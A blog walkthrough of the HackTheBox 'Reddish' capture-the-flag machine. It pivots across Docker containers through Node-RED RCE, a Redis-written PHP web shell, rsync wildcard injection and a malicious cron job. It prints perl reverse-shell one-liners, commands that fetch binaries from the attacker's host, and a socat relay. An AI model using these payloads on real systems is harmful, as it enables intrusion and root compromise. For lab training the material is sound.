← index

HTB boot2root - Reddish (Insane)

The Reddis machine is an insane linux box.

If you are italian you might want to check out the related video.

This machine is quite long and its made up of various docker containers.

First Scans#

Quick scans with nmap reveal port 1880 open

shell
root@kali# nmap -p- reddish

With a more specific scan we see that there is a node.js application listening on such port

shell
root@kali# nmap -sC -sV -p 1880 reddish

By using a browser and going to http://reddish:1880 we get the following

If instead we do a POST with curl we get

shell
root@kali# curl -X POST http://reddish:1880

Once again with the browser we can go to the url http://reddish:1880/red/5473a649c8de41204e498bad54136361 to find the a NODE-red application waiting.

RCE on NODE-Red#

The following article showcases a python script which can be used to obtain a RCE whenever we have access to a NODE-red application.

https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/

When I used it I'm not sure why, but I had some problem with it and I had to slightly change the code. Below you can see the diff between the original source and the modified one.

shell
root@kali# diff original_noderedsh.py modified_noderedsh.py

The basic idea of the script is to create three different nodes:

With that script we can then listen for and execute a reverse shell in perl to get RCE on the docker that runs the NODE-red application.

shell
root@kali# python modified_noderedsh.py http://reddish:1880/red/5473a649c8de41204e498bad54136361

With that executed we have our reverse shell inside the docker.

shell
root@nodered# id

Docker #1 (NODE-red)#

If we go in the / folder we can see the .dockerenv file, which we can use to infer that we are inside a docker container.

shell
root@nodered# ls /.dockerenv

By executing ip a we get the following three network interfaces

shell
root@kali# ip a

The idea now is to pivot on other dockers that are contained withis this internal network. To find the other dockers we can bring into the machine a static version of nmap, which can be downloaded from this github repo

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

The transfer can then be made by activating a python server and then using the following perl code on the remote machine (the docker one running NODE-red)

sh
# -- on your host
cd /tmp
curl -L https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap > nmap
python3 -m http.server <YOUR_PORT>

# -- on remote docker
perl -e 'use File::Fetch;$url="http://<YOUR_IP>:<YOUR_PORT>/nmap";$ff=File::Fetch->new(uri => $url);$file=$ff->fetch() or die $ff->error;'

Once we have nmap we can use it as follows to find the various hosts which are up

shell
root@kali# chmod +x ./nmap
root@kali# ./nmap -sP 172.19.0.1/16

As we can see, we have two hosts on the 172.19.0.4/16 network

output
172.19.0.2 --> reddish_composition_redis_1.reddish_composition_internal-network
172.19.0.3 --> reddish_composition_www_1.reddish_composition_internal-network

To check for open ports we can use the following bash script which makes use of the virtual network interfaces.

bash
#!/usr/bin/env bash

for PORT in {1..65535}; do
    timeout 1 bash -c "</dev/tcp/<IP>/$PORT 2>/dev/null" 2>/dev/null && echo "port $PORT is open for host <IP>"
done 

Without actually trying all ports (which could take a while), we can first try some well known ports by using the domain names as hints:

To recap, so far we the actual situation inside the docker network is as follows

output
Host 172.19.0.2 is up on port 6379
Host 172.19.0.3 is up on port 80

Let us now briefly cover on how we can access those dockers, which will be named respectively docker #2 and docker #3.

Docker #2 (Redis)#

To access the docker with ip 172.19.0.2 we can transfer a static version of ncat in the same way we transfered nmap.

sh
# -- on your host
cd /tmp
curl -L https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat > ncat
python3 -m http.server <YOUR_PORT>

# -- on remote docker
perl -e 'use File::Fetch;$url="http://<YOUR_IP>:<YOUR_PORT>/ncat";$ff=File::Fetch->new(uri => $url);$file=$ff->fetch() or die $ff->error;'

Once we have that we can use it as follows to connect to the open port.

sh
./ncat 172.19.0.2 6379

By executing some redis commands such as INFO server can immediatly see that its actually running a redis database.

NOTE: For those who do not know what redis is, the idea behind redis is to have an only in memory database which is really fast to access and which can be used to store session-relevant information such as authentication cookies, session data, and things of the sort for all sorts of application.

Docker #3 (Web)#

To acess the docker with ip 172.19.0.3 the idea is to create a sort of http proxy through the NODE-red application that connects our machine to the internal web server. This tunneling can be done by defining three nodes:

Once this is set in place by going to the following URL

http://reddish:1880/api/6fbb5c419215f9da0447080d390e9f90/test

we can access the internal web server. Notice that the api{id} is displayed by the NODE-red application, so be careful to copy it correctly in your own specific case.

To make things even simpler, since NODE-red allows to import/export specific flows, one can simply import the following flow by saving it to a .json file and importing using the application menu.

js
[
    {"id":"7LF13","type":"tab","label":"7LF13","disabled":false,"info":""},

    {"id":"e3a53a8b.abb158","type":"http in","z":"7LF13","name":"",
     "url":"/test","method":"get","upload":false,"swaggerDoc":"",
     "x":217.69033813476562,"y":280.1761245727539,"wires":[["24a6e096.6390f"]]},

    {"id":"8dc7f6e1.09d878","type":"http response","z":"7LF13","name":"",
     "statusCode":"","headers":{},"x":770,"y":260,"wires":[]},

    {"id":"24a6e096.6390f","type":"http request","z":"7LF13","name":"",
     "method":"GET","ret":"txt",
     "url":"http://reddish_composition_www_1.reddish_composition_internal-network","tls":"",
     "x":550,"y":420,"wires":[["8dc7f6e1.09d878"]]}
]

Once we can reach the web server we can check the source code of the index page to see the following snippet

js
/*
  ,,* TODO
  ,,*
  ,,* 1. Share the web folder with the database container (Done)
  ,,* 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
  ,,* ...Still don't know how to complete it...
  ,,*/
function backupDatabase() {
    $.ajax({
	url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=...",
	cache: false,
	dataType: "text",
	success: function (data) {
	    console.log("Database saved:", data);
	},
	error: function () {
	}
    });
}   

Whats interesting here in particular is the hint that's telling us that the web folder, which is probably /var/www/html is being shared with the database container.

Pivoting from Docker #1 to Docker #3#

The last hint can be used to understand how to pivot from the NODE-red docker to the web server docker. The idea is to enter within redis and use the set dbfilename, set dir and save commands to create a malicious php script on the web server folder.

Thus the flow is

shell
root@nodered# ./ncat 172.19.0.2 6379
shell
$ set cmd "<?php echo system($_REQUEST['cmd']) ?>"
       config set dbfilename "test.php"
       config ser dir "/var/www/html/"
       save

Once we have done that we can modify the flow defined previouls so that the http request node makes an internal request to the following endpoint

output
http://reddish_composition_www_1.reddish_composition_internal-network/test.php?cmd=whoami

If we then go to http://reddish:1880/api/6fbb5c419215f9da0447080d390e9f90/test we should see the output of the command whoami

By chaning the command to a reverse shell in perl we're able to get a reverse shell on the www docker.

NOTE: There is a cronjob that periodically removes file from the /var/www/html folder, therefore I suggest to keep a redis connection open and repeat the last command save to re-generate the malicious test.php script in cases when we see a "cannot find test.php" message from the web server.

PrivEsc on Docker #3 (user flag)#

Once we're inside the www docker we can go to the filesystem root to find a /backup directory with a backup.sh script. The script contains the following code

sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b   

This code is periodically run by the root account. Notice that the second command of this code – the call to rsync -a *.rdb – is vulnerable.

To attack this the idea is to create two files in the /var/www/html/f187a0ec71ce99642e4f0afbd441a68b folder. So, first things first, let us move into that directory.

sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b;
  1. The first file will be named test.rdb and will contain the code

    for a reverse shell in perl. This file can be generated with the following command. Notice that in this payload the IP is fixed, since it refers to the nodered docker host, which has always the same IP.

    sh
    echo "#/bin/bash \n perl -e 'use Socket;\$i=\"172.19.0.4\";\$p=9009;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" > test.rdb
  2. We'll then create another file named -e sh test.rdb. The

    content of this second file is of no importance, as we're only interested in its filename.

    sh
    echo "yo" > '-e sh test.rdb';

After this we can simply listen using ncat on the first docker (the one running the NODE-red app) on port 9009 to get a shell as root on the www docker.

Once we have the shell we can find and read the user flag in the /home/somaro/ directory.

Docker #4 (Backup)#

There's still one last docker that we haven't explored yet. Indeed, from the code of the backup.sh script we can see a couple of calls being made with rsync to a machine called backup.

If we ping that machine we can see its IP address

shell
root@www# ping -c 1 backup

Thus on the other network inteface the docker #3 is connected, which is 172.20.0.1/16, we can see another host up, the host 172.20.0.2 which will be the fourth and last docker we'll encounter in this machine.


Using rsync we can explore the filesystem of the remote backup machine. In particular we can read the files contained in its root directory

shell
root@www# rsync  -v rsync://backup:873/src

By transfering the docker-entrypoint.sh we see the following

shell
root@www# rsync rsync://backup:873/src/docker-entrypoint.sh .
          cat docker-entrypoint.sh

As we can see, the command service cron start tells us that the cronjob deamon is running on the backup machine.

Pivoting from Docker #3 to Docker #4#

To pivot from the www docker to the backup docker the idea is to create a cronjob which will start a reverse shell written in perl, since apparently for some reason perl is present in all of the dockers so far.

To do this however we need to transfer ncat to the www docker. To connect the www docker to our machine the idea is to use the NODE-red docker as a pivot point. This can be done with socat as follows

bash
# -- first, download socat, ncat and activate server on your host machine
cd /tmp
curl -L https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat > ncat
curl -L https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat > socat
python3 -m http.server <YOUR_PORT>

# -- then, download socat and use it on docker #1 (nodered)
perl -e 'use File::Fetch;$url="http://<YOUR_IP>:<YOUR_PORT>/ncat";$ff=File::Fetch->new(uri => $url);$file=$ff->fetch() or die $ff->error;'
chmod +x ./socat
./socat TCP4-LISTEN:3334,fork TCP4:<YOUR_IP>:<YOUR_PORT> &

# -- finally, download ncat from docker #3 (www)
perl -e 'use File::Fetch;$url="http://172.19.0.4:3334/ncat";$ff=File::Fetch->new(uri => $url);$file=$ff->fetch() or die $ff->error;'

NOTE: as we have already done with nmap and ncat, to use socat on the nodered docker the idea is to download a static version and transfer it with perl.


Once we have ncat on the third docker we can create the file which contains the malicious cronjob

sh
echo "* * * * * root perl -e 'use Socket;\$i=\"172.20.0.3\";\$p=9000;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" > test;   

and transfer it to the backup docker with rsync

sh
rsync -v test root@backup::src/etc/cron.d/;

Then, by listening with ncat on port 9000 on the www docker, we get a reverse shell on the backup docker.

PrivEsc on Docker #4 (root flag)#

Once we are inside the backup docker we immediatly notice that we can access the device files for the hard-disks /dev/sda*

shell
root@backup# ls -lha /dev/sd*

and by mounting /dev/sda2 we get access to the true host's file system.

sh
mount /dev/sd2 /mnt   

The root flag is then situated in /mnt/root/root.txt.

← index